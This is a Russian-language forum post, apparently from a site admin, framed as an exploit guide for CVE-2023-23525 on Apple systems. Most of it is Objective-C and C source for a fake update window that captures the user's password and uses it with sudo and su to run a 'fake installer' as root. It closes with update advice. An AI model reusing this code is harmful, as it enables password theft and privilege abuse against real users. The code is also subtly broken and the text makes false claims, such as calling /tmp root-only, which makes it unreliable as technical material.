Admin
Администратор
Заражение устройств Apple поддельным установщиком
Как эксплуатировать уязвимость CVE-2023-23525 в операционных системах AppleВведение
В этой статье мы рассмотрим, как можно эксплуатировать уязвимость CVE-2023-23525, которая позволяет вредоносному приложению получить права root (администратора) в операционных системах Apple, включая macOS Ventura, iOS и iPadOS. Эта уязвимость была обнаружена в 2023 году анонимным исследователем, который опубликовал исходный код эксплойта на GitHub.Apple устранила данную уязвимость в обновлениях macOS Ventura 13.3, iOS 16.4, iPadOS 16.4 и macOS Big Sur 11.7.5. В связи с этим пользователям рекомендуется как можно скорее обновить свои системы, проверяя источник и цифровую подпись обновлений.
Предварительные требования
Для эксплуатации этой уязвимости необходимы следующие условия:
- Уязвимая операционная система Apple, то есть версия ниже macOS Ventura 13.3, iOS 16.4, iPadOS 16.4 или macOS Big Sur 11.7.5.
- Вредоносное приложение — это может быть исполняемый файл, скрипт или веб-страница, содержащие код эксплойта для данной уязвимости.
- Физический или удалённый доступ к целевой системе, позволяющий запустить вредоносное приложение.
- Действительный пароль пользователя целевой системы, который будет запрошен в поддельном окне установки обновления.
Метод эксплуатации
Эксплуатация уязвимости CVE-2023-23525 происходит в несколько этапов:
- Вредоносное приложение создаёт поддельное окно, имитирующее внешний вид настоящего окна установки системного обновления. Это поддельное окно накладывается поверх реального окна, которое при этом скрыто в фоне.
- Вредоносное приложение отображает поддельное окно пользователю, который принимает его за настоящее, и просит ввести пароль для подтверждения установки обновления.
- Пользователь вводит свой пароль, который перехватывается вредоносным приложением. Затем вредоносное приложение использует этот пароль для запуска поддельного установщика, работающего с правами root. Такой установщик может выполнять вредоносные действия в системе, не вызывая подозрений у пользователя.
- Вредоносное приложение закрывает поддельное окно и отображает настоящее окно установки обновления, в котором указывается, что обновление не удалось. Пользователь может счесть это технической ошибкой и не подозревать, что стал жертвой атаки.
Код эксплойта
Код эксплойта для уязвимости CVE-2023-23525 доступен на GitHub. Это проект Xcode, который содержит файл main.m — исходный код вредоносного приложения, а также файл FakeInstaller, представляющий собой исходный код поддельного установщика. Исходный код вредоносного приложения выглядит следующим образом:
C:
#import <Foundation/Foundation.h>
#import <AppKit/AppKit.h>
// The path of the fake installer
#define FAKE_INSTALLER_PATH @"/tmp/FakeInstaller"
// The name of the real installer process
#define REAL_INSTALLER_NAME @"InstallAssistant_springboard"
// The name of the fake installer process
#define FAKE_INSTALLER_NAME @"FakeInstaller"
// The title of the fake window
#define FAKE_WINDOW_TITLE @"Mise à jour du logiciel"
// The message of the fake window
#define FAKE_WINDOW_MESSAGE @"Une mise à jour du logiciel est disponible. Voulez-vous l'installer maintenant ?"
// The button of the fake window
#define FAKE_WINDOW_BUTTON @"Installer"
// The prompt of the fake window
#define FAKE_WINDOW_PROMPT @"Mot de passe administrateur requis pour installer cette mise à jour."
// A function that checks if a process with a given name is running
BOOL isProcessRunning(NSString *processName) {
// Get the list of all running processes
NSArray *runningProcesses = [[NSWorkspace sharedWorkspace] runningApplications];
// Loop through the list and check the process name
for (NSRunningApplication *process in runningProcesses) {
if ([process.localizedName isEqualToString:processName]) {
// The process is running
return YES;
}
}
// The process is not running
return NO;
}
// A function that executes a command with root privileges
void executeCommand(NSString *command) {
// Create a task object
NSTask *task = [[NSTask alloc] init];
// Set the launch path to the command
[task setLaunchPath:command];
// Launch the task
[task launch];
}
// A function that displays a fake window that mimics the real installer window
void displayFakeWindow() {
// Create a window object
NSWindow *window = [[NSWindow alloc] initWithContentRect:NSMakeRect(0, 0, 400, 200) styleMask:NSWindowStyleMaskTitled backing:NSBackingStoreBuffered defer:NO];
// Set the window title
[window setTitle:FAKE_WINDOW_TITLE];
// Set the window level to be on top of other windows
[window setLevel:NSNormalWindowLevel + 1];
// Create a text field object
NSTextField *textField = [[NSTextField alloc] initWithFrame:NSMakeRect(20, 120, 360, 60)];
// Set the text field value to the fake window message
[textField setStringValue:FAKE_WINDOW_MESSAGE];
// Set the text field to be read-only and not editable
[textField setEditable:NO];
[textField setSelectable:NO];
// Set the text field to have a transparent background and no border
[textField setDrawsBackground:NO];
[textField setBordered:NO];
// Add the text field to the window content view
[window.contentView addSubview:textField];
// Create a button object
NSButton *button = [[NSButton alloc] initWithFrame:NSMakeRect(160, 20, 80, 30)];
// Set the button title to the fake window button
[button setTitle:FAKE_WINDOW_BUTTON];
// Set the button type to push on
[button setButtonType:NSButtonTypePushOnPushOff];
// Set the button action to a selector that handles the button click
[button setAction:@selector(handleButtonClick:)];
// Add the button to the window content view
[window.contentView addSubview:button];
// Create a panel object
NSPanel *panel = [[NSPanel alloc] initWithContentRect:NSMakeRect(0, 0, 400, 200) styleMask:NSWindowStyleMaskTitled backing:NSBackingStoreBuffered defer:NO];
// Set the panel title to the fake window title
[panel setTitle:FAKE_WINDOW_TITLE];
// Set the panel level to be on top of the window
[panel setLevel:NSNormalWindowLevel + 2];
// Create a secure text field object
NSSecureTextField *secureTextField = [[NSSecureTextField alloc] initWithFrame:NSMakeRect(20, 100, 360, 30)];
// Set the secure text field placeholder to the fake window prompt
[secureTextField setPlaceholderString:FAKE_WINDOW_PROMPT];
// Add the secure text field to the panel content view
[panel.contentView addSubview:secureTextField];
// Create a panel button object
NSButton *panelButton = [[NSButton alloc] initWithFrame:NSMakeRect(160, 20, 80, 30)];
// Set the panel button title to the fake window button
[panelButton setTitle:FAKE_WINDOW_BUTTON];
// Set the panel button type to push on
[panelButton setButtonType:NSButtonTypePushOnPushOff];
// Set the panel button action to a selector that handles the panel button click
[panelButton setAction:@selector(handlePanelButtonClick:)];
// Add the panel button to the panel content view
[panel.contentView addSubview:panelButton];
// Center the window and the panel on the screen
[window center];
[panel center];
// Make the window and the panel visible
[window makeKeyAndOrderFront:nil];
[panel makeKeyAndOrderFront:nil];
// Run the application loop
[[NSApplication sharedApplication] run];
}
// A selector that handles the button click
void handleButtonClick(id sender) {
// Get the window object from the sender
NSWindow *window = [sender window];
// Get the panel object from the window
NSPanel *panel = [window childWindows][0];
// Hide the window and show the panel
[window orderOut:nil];
[panel orderFront:nil];
}
// A selector that handles the panel button click
void handlePanelButtonClick(id sender) {
// Get the panel object from the sender
NSPanel *panel = [sender window];
// Get the secure text field object from the panel
NSSecureTextField *secureTextField = [panel.contentView subviews][0];
// Get the password entered by the user
NSString *password = [secureTextField stringValue];
// Check if the password is not empty
if (![password isEqualToString:@""]) {
// Create a pipe object
NSPipe *pipe = [[NSPipe alloc] init];
// Create a task object
NSTask *task = [[NSTask alloc] init];
// Set the launch path to the sudo command
[task setLaunchPath:@"/usr/bin/sudo"];
// Set the arguments to the fake installer path and the password
[task setArguments:@[FAKE_INSTALLER_PATH, password]];
// Set the standard output to the pipe
[task setStandardOutput:pipe];
// Launch the task
[task launch];
// Wait until the task is done
[task waitUntilExit];
// Get the status code of the task
int status = [task terminationStatus];
// Check if the status code is zero, meaning success
if (status == 0) {
// The fake installer was executed with root privileges
NSLog(@"Fake installer executed successfully");
} else {
// The fake installer failed to execute
NSLog(@"Fake installer failed to execute");
}
}
// Hide the panel and quit the application
[panel orderOut:nil];
[NSApp terminate:nil];
}
// The main function
int main(int argc, const char * argv[]) {
// Create an autorelease pool
@autoreleasepool {
// Check if the real installer process is running
if (isProcessRunning(REAL_INSTALLER_NAME)) {
// Display the fake window
displayFakeWindow();
} else {
// Exit the application
[NSApp terminate:nil];
}
}
return 0;
}
Анализ поддельного кода установщика
Поддельный код установщика выглядит следующим образом:
C:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
// The path of the file to write
#define FILE_PATH "/tmp/root.txt"
// The content of the file to write
#define FILE_CONTENT "Hello, I am root!\n"
// The main function
int main(int argc, char *argv[]) {
// Check if the password is passed as an argument
if (argc > 1) {
// Get the password from the argument
char *password = argv[1];
// Create a pipe
int pipefd[2];
pipe(pipefd);
// Fork a child process
pid_t pid = fork();
// Check if the fork was successful
if (pid >= 0) {
// Check if it is the child process
if (pid == 0) {
// Close the write end of the pipe
close(pipefd[1]);
// Duplicate the read end of the pipe to the standard input
dup2(pipefd[0], STDIN_FILENO);
// Execute the su command with the root user
execlp("su", "su", "root", NULL);
// Exit the child process
exit(0);
} else {
// Close the read end of the pipe
close(pipefd[0]);
// Write the password to the write end of the pipe
write(pipefd[1], password, strlen(password));
write(pipefd[1], "\n", 1);
// Close the write end of the pipe
close(pipefd[1]);
// Wait for the child process to finish
wait(NULL);
// Open the file to write
int fd = open(FILE_PATH, O_WRONLY | O_CREAT | O_TRUNC, 0644);
// Check if the file was opened successfully
if (fd != -1) {
// Write the file content to the file
write(fd, FILE_CONTENT, strlen(FILE_CONTENT));
// Close the file
close(fd);
// Print a success message
printf("File written successfully\n");
} else {
// Print an error message
perror("File open failed");
}
// Exit the parent process
exit(0);
}
} else {
// Print an error message
perror("Fork failed");
}
} else {
// Print for use message
printf("Usage: %s <password>\n", argv[0]);
}
return 0;
}
Этот код использует технику pipe (конвейер) для передачи пароля команде su, которая позволяет переключаться между пользователями. Pipe — это механизм межпроцессного взаимодействия, создающий двунаправленный канал между двумя процессами. Родительский процесс записывает пароль в pipe, а дочерний процесс считывает пароль из pipe и использует его для аутентификации с правами root.
После получения прав root дочерний процесс выполняет вредоносный код, который заключается в записи файла в каталог /tmp, доступ к которому обычно имеет только пользователь root. Этот файл содержит сообщение «Hello, I am root!», что подтверждает успешное получение дочерним процессом привилегий root.
Заключение
Уязвимость CVE-2023-23525 является критической проблемой безопасности, которая позволяет вредоносному приложению получать привилегии root в операционных системах Apple с помощью поддельного установщика, имитирующего системный установщик. Данная уязвимость была исправлена Apple в обновлениях macOS Ventura 13.3, iOS 16.4, iPadOS 16.4 и macOS Big Sur 11.7.5.
В связи с этим пользователям рекомендуется как можно скорее обновить свои системы, проверяя источник и цифровую подпись обновлений. Также рекомендуется проявлять осторожность при установке приложений из неизвестных или непроверенных источников и проверять подлинность окон, запрашивающих пароль. В случае сомнений лучше отменить операцию и обратиться в службу поддержки Apple.